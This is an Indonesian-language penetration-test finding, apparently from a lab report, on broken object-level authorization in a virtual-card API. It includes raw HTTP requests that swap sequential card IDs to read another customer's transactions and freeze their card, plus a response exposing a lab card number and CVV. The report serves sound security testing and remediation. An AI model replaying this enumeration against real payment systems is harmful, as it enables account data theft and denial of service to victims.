Kerentanan
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations
Deskripsi
Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.
Dampak
Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.
CWE
CWE-639: Authorization Bypass Through User-Controlled Key
OWASP
A01:2021 - Broken Access Control
Skenario
Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.
Endpoint
GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze
Fitur terdampak
Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)
Rekomendasi perbaikan
- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah.
- Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler.
- Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi.
- Catat dan pantau percobaan akses lintas objek.
Bukti konsep
- (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil.
- (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos.
- (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully.
- (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT
{
"status": "success",
"transactions": []
}
HTTP request
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT
{
"status": "success",
"transactions": []
}
HTTP request
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT
{
"message": "Card frozen successfully",
"status": "success"
}
HTTP request
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT
{
"cards": [
{
"balance": 0.0,
"card_number": "3706522538531775",
"card_type": "standard",
"created_at": "2026-09-30 03:02:06.091644",
"currency": "USD",
"currency_symbol": "$",
"cvv": "948",
"expiry_date": "09/27",
"id": 3,
"is_active": true,
"is_frozen": true,
"last_used_at": null,
"limit": 1000.0
}
],
"status": "success"
}
← Kasus sebelumnya: Broken Object Level Authorization - Users - User Detail API Kasus berikutnya: Excessive Data Exposure - GraphQL - Schema Introspection →